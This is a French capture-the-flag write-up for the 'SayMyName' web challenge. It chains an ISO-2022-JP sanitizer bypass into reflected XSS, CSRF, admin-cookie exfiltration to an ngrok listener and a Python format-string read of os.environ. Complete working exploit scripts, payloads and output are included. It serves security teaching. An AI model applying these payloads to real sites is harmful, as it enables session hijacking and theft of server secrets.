Énoncé #
Just printing your name, what could go wrong?
Author: Fayred
Aperçu #
.
├── app.py
├── bot.py
├── docker-compose.yml
├── Dockerfile
├── requirements.txt
├── static
│ └── images
│ └── cat.jpg
└── templates
├── admin.html
├── index.html
└── your-name.html
4 directories, 9 filesLe challenge est minimal : une page qui reflète un prénom et une route /admin protégée. L’objectif est de divulguer la variable d’environnement $FLAG.
docker-compose.yml :
services:
saymyname:
build: .
image: saymyname:latest
ports:
- "5000:5000"
environment:
- FLAG=PWNME{FAKE_FLAG}Résolution #
La résolution commence par l’analyse des routes et du traitement de l’entrée utilisateur. Chaque primitive sera construite progressivement jusqu’à l’obtention du flag.
1. Identifier les deux primitives vulnérables #
Il faut d’abord identifier les primitives qui composent la chaîne d’exploitation. Commençons par app.py :
Afficher le code de l'application
from flask import Flask, render_template, request, Response, redirect, url_for
from bot import visit_report
from secrets import token_hex
X_Admin_Token = token_hex(16)
def run_cmd(): # I will do that later
pass
def sanitize_input(input_string):
input_string = input_string.replace('<', '')
input_string = input_string.replace('>', '')
input_string = input_string.replace('\'', '')
input_string = input_string.replace('&', '')
input_string = input_string.replace('"', '\\"')
input_string = input_string.replace(':', '')
return input_string
app = Flask(__name__)
@app.route('/admin', methods=['GET'])
def admin():
if request.cookies.get('X-Admin-Token') != X_Admin_Token:
return 'Access denied', 403
prompt = request.args.get('prompt')
return render_template('admin.html', cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}".format(run_cmd))
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/your-name', methods=['POST'])
def your_name():
if request.method == 'POST':
name = request.form.get('name')
return Response(render_template('your-name.html', name=sanitize_input(name)), content_type='text/html')
@app.route('/report', methods=['GET'])
def report():
url = request.args.get('url')
if url and (url.startswith('http://') or url.startswith('https://')):
print(f'Visit: {url} | X-Admin-Token: {X_Admin_Token}')
visit_report(url, X_Admin_Token)
return redirect(url_for('index'))
app.run(debug=False, host='0.0.0.0')On voit quatre routes :
- /
- /admin
- /report
- /your-name
Toutes les routes sont accessibles sauf /admin. La route /report demande au bot de visiter une URL, un schéma classique pour les failles côté client. La route /your-name reçoit name en POST, l’envoie dans un filtre personnalisé, puis renvoie une Response avec Content-Type: text/html, sans charset. De son côté, /admin protège une seconde primitive : la valeur de prompt est d’abord interpolée par la f-string, puis le résultat repasse dans .format().
Le premier réflexe serait de considérer sanitize_input() comme une protection suffisante : les chevrons, les apostrophes et les esperluettes disparaissent, tandis que les guillemets doubles sont échappés. Cette hypothèse échoue à cause du contexte exact dans your-name.html :
<style>
.image-container {
position: relative;
width: 100%;
max-width: 600px;
text-align: center;
}
.image-container img {
width: 100%;
height: auto;
text-align: center;
}
.image-container .text {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
color: white;
font-size: 24px;
font-weight: bold;
text-shadow: 2px 2px 5px rgba(0, 0, 0, 0.7);
}
</style>
<div class="image-container">
<img src="{{ url_for('static', filename='images/cat.jpg') }}" alt="cat">
<a class="text" id="behindthename-redirect" href='https://www.behindthename.com/names/search.php?terms={{name}}' onfocus='document.location="https://www.behindthename.com/names/search.php?terms={{name|safe}}"'>Hello {{name}} !</a>
</div>La valeur name est reflétée deux fois, dans href et onfocus. Dans onfocus, le filtre |safe empêche Jinja d’ajouter son propre échappement. Le payload minimal recherché doit donc fermer la chaîne JavaScript délimitée par ", mais l’application transforme d’abord " en \".
Le code révèle ainsi les deux primitives : une réflexion dans un gestionnaire d’événement JavaScript servi sans charset explicite, puis une double interpolation Python accessible après authentification. Il faut maintenant neutraliser l’antislash ajouté par le filtre.
2. Neutraliser l’échappement avec ISO-2022-JP #
Cette étape doit faire interpréter le guillemet comme un délimiteur, malgré le \ inséré par sanitize_input(). Pour cela, on force le navigateur à détecter ISO-2022-JP, un encodage capable de basculer entre plusieurs jeux de caractères (ASCII, JIS X 0201 et JIS X 0208).
It starts in ASCII and includes the following escape sequences:
ESC ( Bto switch to ASCII (1 byte per character)ESC ( Jto switch to JIS X 0201-1976 (ISO/IEC 646:JP) Roman set (1 byte per character)ESC $ @to switch to JIS X 0208-1978 (2 bytes per character)ESC $ Bto switch to JIS X 0208-1983 (2 bytes per character)
Ces bascules peuvent annuler l’échappement par antislash. Une seule séquence d’échappement suffit généralement à faire détecter ISO-2022-JP.
Les octets 0x1b 0x28 0x4a basculent vers JIS X 0201-1976. Cette table est proche d’ASCII, mais deux octets diffèrent :
Une tentative avec un simple " échoue donc : le filtre produit \" et le guillemet reste dans la chaîne. En revanche, l’octet 0x5c devient ¥ au lieu de \, et 0x7e devient ‾ au lieu de ~. Le payload minimal consiste à envoyer ESC ( J (%1b%28%4a) suivi de ". Le \ ajouté par l’application est alors traduit en ¥, ce qui annule l’échappement.
En interceptant le POST vers /your-name et en envoyant name=%1b%28%4a"payload, Firefox, utilisé par bot.py, interprète bien la réponse :
Réponse :
<style>
.image-container {
position: relative;
width: 100%;
max-width: 600px;
text-align: center;
}
.image-container img {
width: 100%;
height: auto;
text-align: center;
}
.image-container .text {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
color: white;
font-size: 24px;
font-weight: bold;
text-shadow: 2px 2px 5px rgba(0, 0, 0, 0.7);
}
</style>
<div class="image-container">
<img src="/static/images/cat.jpg" alt="cat">
<a class="text" id="behindthename-redirect" href='https://www.behindthename.com/names/search.php?terms=¥"payload' onfocus='document.location="https://www.behindthename.com/names/search.php?terms=¥"payload"'>Hello ¥"payload !</a>
</div>Le résultat confirme que le guillemet ferme la chaîne dans onfocus.
Il était également possible d’annuler l’échappement des guillemets doubles avec \", sans passer par le différentiel ISO-2022-JP.
La primitive XSS est prête, mais /your-name n’accepte que POST : il faut maintenant amener le bot à envoyer lui-même la requête et à déclencher onfocus.
3. Déclencher la RXSS via CSRF #
Il faut maintenant déclencher la XSS réfléchie depuis une page contrôlée par l’attaquant. Le code de /your-name impose une requête POST, tandis que le JavaScript vulnérable ne s’exécute que lorsque le lien #behindthename-redirect reçoit le focus. Une navigation directe avec le payload dans l’URL ne suffit donc pas : elle n’envoie pas name dans le bon corps de requête et ne place pas le focus sur le lien.
La route accepte toutefois un POST cross-origin en application/x-www-form-urlencoded sans exiger de jeton CSRF. Un formulaire cross-site peut donc lui soumettre le payload. Le fragment #behindthename-redirect ajouté à l’action place le focus sur le lien ciblé. Voici le payload minimal, généré avec Burp :
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:5000/your-name#behindthename-redirect" method="POST">
<input type="hidden" name="name" value="(J";alert(0);" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>Le test déclenche bien la RXSS avec alert(0) :
La preuve de concept valide l’exécution de JavaScript. La redirection intégrée au gestionnaire reste cependant gênante pour une charge utile plus complexe : l’étape suivante doit la neutraliser assez longtemps pour exfiltrer le cookie.
4. Exfiltrer le cookie administrateur #
La prochaine étape consiste à récupérer X-Admin-Token depuis le navigateur du bot. Dans bot.py, ce cookie est explicitement créé avec httpOnly: False : le JavaScript injecté peut donc le lire via document.cookie.
Voici le code pertinent pour servir la page CSRF et recevoir le cookie :
Afficher le serveur d'exfiltration
# pip install requests flask ngrok
# export NGROK_AUTHTOKEN=xxx
# curl http://localhost:1337/exploit
from flask import Flask, request
import ngrok
import base64
import requests
import time
listener = ngrok.forward(1337, authtoken_from_env=True)
NGROK_HOST = listener.url()
CHALLENGE_HOST = 'http://localhost:5000/'
def sanitizer_bypass():
url = NGROK_HOST + '/recv-cookie?r='
# change redirect to /wait to trigger XSS
payload = f"\x1b\x28\x4a\"[0]=String.fromCharCode({ord('#')});fetch(String.fromCharCode({','.join(str(ord(c)) for c in url)})+btoa(document.cookie));//"
return payload
def html_entities(value):
payload = "".join(f"&#{ord(c)};" if not c.isalnum() else c for c in value)
return payload
def craft_csrf(payload):
return f"""
<html>
<body>
<form action="http://127.0.0.1:5000/your-name#behindthename-redirect" method="POST">
<input type="hidden" name="name" value="{payload}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
"""
payload1 = sanitizer_bypass()
payload2 = html_entities(payload1)
csrf_payload = craft_csrf(payload2)
app = Flask(__name__)
@app.route('/exploit')
def exploit():
requests.get(f'{CHALLENGE_HOST}/report?url={NGROK_HOST}/csrf')
return 'exploit'
@app.route('/csrf')
def csrf():
return csrf_payload
@app.route('/recv-cookie')
def recv_cookie():
cookie = base64.b64decode(request.args.get('r')).decode()
print(f'[+] Cookie: {cookie}')
return ''
app.run(host='0.0.0.0', port=1337)Une exfiltration directe avec les chaînes littérales habituelles échoue à cause du filtre, et la redirection coupe l’exécution. On passe donc par String.fromCharCode pour construire les chaînes nécessaires sans réintroduire les caractères filtrés. Dans le payload minimal, l’affectation indexée "[0]=String.fromCharCode(35) s’évalue à #. Cette valeur devient ensuite celle de document.location, ce qui remplace la navigation externe par un fragment local, évite le rechargement et laisse le script s’exécuter. Il envoie alors btoa(document.cookie) vers le serveur de l’attaquant.
Lancer le programme et visiter /exploit déclenche l’attaque. Le résultat confirme la réception du cookie administrateur :
$ python solver2.py
* Serving Flask app 'solver2'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:1337
* Running on http://192.168.1.38:1337
Press CTRL+C to quit
127.0.0.1 - - [28/Feb/2025 19:41:43] "GET /csrf HTTP/1.1" 200 -
[+] Cookie: X-Admin-Token=ca92c81597f1956c580ecae73324591a
127.0.0.1 - - [28/Feb/2025 19:41:43] "GET /recv-cookie?r=WC1BZG1pbi1Ub2tlbj1jYTkyYzgxNTk3ZjE5NTZjNTgwZWNhZTczMzI0NTkxYQ== HTTP/1.1" 200 -
127.0.0.1 - - [28/Feb/2025 19:41:44] "GET /exploit HTTP/1.1" 200 -On peut alors accéder à /admin avec le cookie divulgué :
$ curl http://localhost:5000/admin -H "Cookie: X-Admin-Token=ca92c81597f1956c580ecae73324591a" -i
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.9.4
Date: Fri, 28 Feb 2025 18:47:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 218
Connection: close
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin</title>
</head>
<body>
prompt$/>None
</body>L’accès à /admin est acquis. Il reste à exploiter la seconde primitive identifiée au début pour sortir du rendu anodin prompt$/>None et atteindre le flag.
5. Lire le flag avec la format string Python #
Il ne reste plus qu’à lire la variable d’environnement FLAG. La route /admin contient le code pertinent :
@app.route('/admin', methods=['GET'])
def admin():
if request.cookies.get('X-Admin-Token') != X_Admin_Token:
return 'Access denied', 403
prompt = request.args.get('prompt')
return render_template('admin.html', cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}".format(run_cmd))Une valeur de prompt ordinaire est seulement affichée : la première interpolation par la f-string ne l’évalue pas comme une expression Python. Mais le résultat est ensuite réutilisé par .format(run_cmd). Cette seconde interpolation rend les champs {...} du paramètre contrôlables.
On s’appuie sur l’objet fonction passé à format() et sur __globals__ pour atteindre os.environ, importé par Flask. Le payload minimal est :
{.__globals__[Flask].get.__globals__[os].environ[FLAG]}Le résultat de la requête contient alors la valeur de FLAG. Toutes les étapes sont réunies ; on peut les enchaîner dans un exploit unique.
Exploit complet #
L’exploit final automatise la CSRF, la RXSS, l’exfiltration du cookie puis la lecture du flag :
Afficher l'exploit complet
# pip install requests flask ngrok
# export NGROK_AUTHTOKEN=xxx
# curl http://localhost:1337/exploit
# CSRF to RXSS to Format String Vuln
# RXSS (sanitizer bypass) -> https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/
from flask import Flask, request
import ngrok
import base64
import requests
import time
listener = ngrok.forward(1337, authtoken_from_env=True)
NGROK_HOST = listener.url()
CHALLENGE_HOST = 'http://localhost:5000/'
def sanitizer_bypass():
url = NGROK_HOST + '/recv-cookie?r='
# change redirect to /wait to trigger XSS
payload = f"\x1b\x28\x4a\"[0]=String.fromCharCode({ord('#')});fetch(String.fromCharCode({','.join(str(ord(c)) for c in url)})+btoa(document.cookie));//"
return payload
def html_entities(value):
payload = "".join(f"&#{ord(c)};" if not c.isalnum() else c for c in value)
return payload
def craft_csrf(payload):
return f"""
<html>
<body>
<form action="http://127.0.0.1:5000/your-name#behindthename-redirect" method="POST">
<input type="hidden" name="name" value="{payload}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
"""
payload1 = sanitizer_bypass()
payload2 = html_entities(payload1)
csrf_payload = craft_csrf(payload2)
app = Flask(__name__)
@app.route('/exploit')
def exploit():
requests.get(f'{CHALLENGE_HOST}/report?url={NGROK_HOST}/csrf')
return 'exploit'
@app.route('/csrf')
def csrf():
return csrf_payload
@app.route('/recv-cookie')
def recv_cookie():
cookie = base64.b64decode(request.args.get('r')).decode()
print(f'[+] Cookie: {cookie}')
format_string_payload = '{.__globals__[Flask].get.__globals__[os].environ[FLAG]}'
r = requests.get(f'{CHALLENGE_HOST}/admin?prompt={format_string_payload}', headers={'Cookie': cookie})
print(f'[+] Flag: {r.text}')
return 'Thanks for the flag ;-)'
app.run(host='0.0.0.0', port=1337)Flag: PWNME{b492b312612c741b3b6597f925f88198}
Conclusion #
SayMyName combine deux faiblesses : une réponse HTML sans charset explicite et une double interpolation Python. Le différentiel d’encodage permet d’obtenir une RXSS, le bot administrateur expose alors son cookie, puis la format string donne accès à os.environ et au flag.